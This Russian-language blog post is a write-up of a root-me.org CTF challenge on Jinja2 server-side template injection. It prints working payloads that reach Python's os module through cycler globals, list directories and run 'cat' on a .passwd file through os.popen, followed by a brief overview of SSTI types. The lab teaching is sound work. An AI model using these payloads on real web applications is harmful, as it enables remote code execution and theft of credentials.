Перейти к основному содержанию

CTF — Python - Server-side Template Injection Introduction

CTF

Отвлечёмся от работы, переключимся на решение задач по информационной безопасности web-серверов. Сегодня задачка с портала root-me.org, называется "Python - Server-side Template Injection Introduction". За решение задачки дают 25 баллов, средний уровень.

ctf

Сегодня мы встретимся с опасной уязвимостью типа SSTI.

Server-side Template Injection (SSTI) — внедрение шаблонов на стороне сервера. Внедрение шаблонов на стороне сервера — это тип уязвимости, которая может возникнуть в веб-приложениях, когда злоумышленник может внедрить вредоносный код в шаблон на стороне сервера. (Капитан Очевидность одобряет.)

Обычно код выполняется на стороне сервера и генерирует динамический контент для браузера пользователя. При атаке SSTI злоумышленник может внедрить свой код в шаблон на стороне сервера и выполнить произвольный код. Собственно, и код выполнит и результат в браузере увидит.

По условию задачи нам предложат web-сервис, который генерирует веб-страничку. Нужно использовать этот сервис для получения флага.

Ссылки

Решение

Переходим на страницу задания:

http://challenge01.root-me.org:59074/

ctf

Веб сервис прост, для ввода предлагают два поля, заголовок (title) и содержимое (content). Проверим, введём что-нибудь.

ctf

Генерируем страницу: Render your page! В ответ получаем JSON вида:

{
    "content": "internet-lab was here",
    "title": "hello"
}

ctf

Всё понятно, шарманка работает.

В описании задания предлагали ознакомиться с полезным материалом, предлагают статью:

https://podalirius.net/en/publications/grehack-2021-optimizing-ssti-payloads-for-jinja2/

В статье рассказывается о разных полезных нагрузках для шаблонизатора jinja2.

Jinja2 — Python-библиотека для генерации шаблонов, являющаяся де-факто стандартом при написании веб-приложений на Flask и популярной альтернативой встроенной системе шаблонов Django. Jinja2 позиционирует себя как инструмент, упрощающий вёрстку и отделяющий её от разработки. Помогает разделить работу верстальщиков и разработчиков Python.

Предположительно web-сервис основан на шаблонизаторе Jinja2. В сервисе имеется уязвимость SSTI, позволяющая выполнить стороннюю команду. Давайте проверим, можем ли мы что-нибудь внедрить. Внедрим код:

{{ 2+2 }}

ctf

Получаем JSON:

{
    "content": "4",
    "title": "{{ 2+2 }}"
}

ctf

Пол дела сделано. Мы обнаружили что поле content уязвимо к инъекции.

Не заморачиваемся и из статьи про полезную нагрузку Jinja2 вытаскиваем эту самую полезную нагрузку:

{{ cycler.__init__.__globals__.os }}

Используя её можно получить доступ к объекту os. Сразу двигаем мысль дальше, os.getcwd() позволит нам определить текущее положение:

{{ cycler.__init__.__globals__.os.getcwd() }}

ctf

Получаем JSON:

{
    "content": "/challenge/web-serveur/ch74",
    "title": "internet-lab.ru"
}

Мы с вами находимся в директории /challenge/web-serveur/ch74. Посмотрим её содержимое с помощью os.listdir():

{{ cycler.__init__.__globals__.os.listdir("/challenge/web-serveur/ch74") }}

ctf

Получаем JSON:

{
    "content": "['requirements.txt', '.git', 'templates', '._nginx.server-level.inc', '.passwd', 'server_ch74.py', 'static', '._firewall', '._perms', '._run']",
    "title": "internet-lab.ru"
}

Замечаем интересный файл ".passwd". Считаем его с помощью os.popen():

{{ cycler.__init__.__globals__.os.popen('cat /challenge/web-serveur/ch74/.passwd').readlines()[0] }}

ctf

ctf

Флаг получен. Валидируем.

ctf

И зарабатываем 25 очков.

Безопасность

Существует разные типы внедрения шаблонов на стороне сервера (SSTI), которые могут возникать в веб-приложениях. Наиболее распространенные:

  • Интерполяция строк. Вводимые пользователем данные непосредственно вставляются в строку шаблона.
  • Внедрение объекта. Злоумышленник может внедрить сериализованный объект в шаблон, который может быть десериализован и, соответственно, выполнен.
  • Внедрение кода. Злоумышленник может внедрить произвольный код в шаблон на стороне сервера и выполнять произвольные команды.
  • Внедрение команд. Пользовательский ввод используется в шаблоне для создания команды, которая потом выполняется.
  • Внедрение выражения. Злоумышленник может внедрить вредоносное выражение в шаблон и выполнить произвольный код.
  • Внедрение шаблона с помощью сценариев на стороне клиента. Злоумышленник может внедрить вредоносный код JavaScript в шаблон на стороне сервера, используя атаку межсайтового скриптинга (XSS).

Все эти типы уязвимостей SSTI могут быть опасны. Разработчикам важно знать о них и уметь предотвращать их в своих веб-приложениях.

Теги

 

Похожие материалы

CTF — File upload - Double extensions

Продолжаем решать задачки по информационной безопасности web-серверов. Сегодня задачка с портала root-me.org, называется "File upload - Double extensions". За решение задачки дают 20 баллов, сложнее начального уровня.

Теги

CTF — HTTP POST

Продолжаем решать задачки по информационной безопасности web-серверов. Сегодня задачка с портала root-me.org, называется "HTTP - POST". За решение задачки дают 15 баллов, чуть посложнее начального уровня.

Теги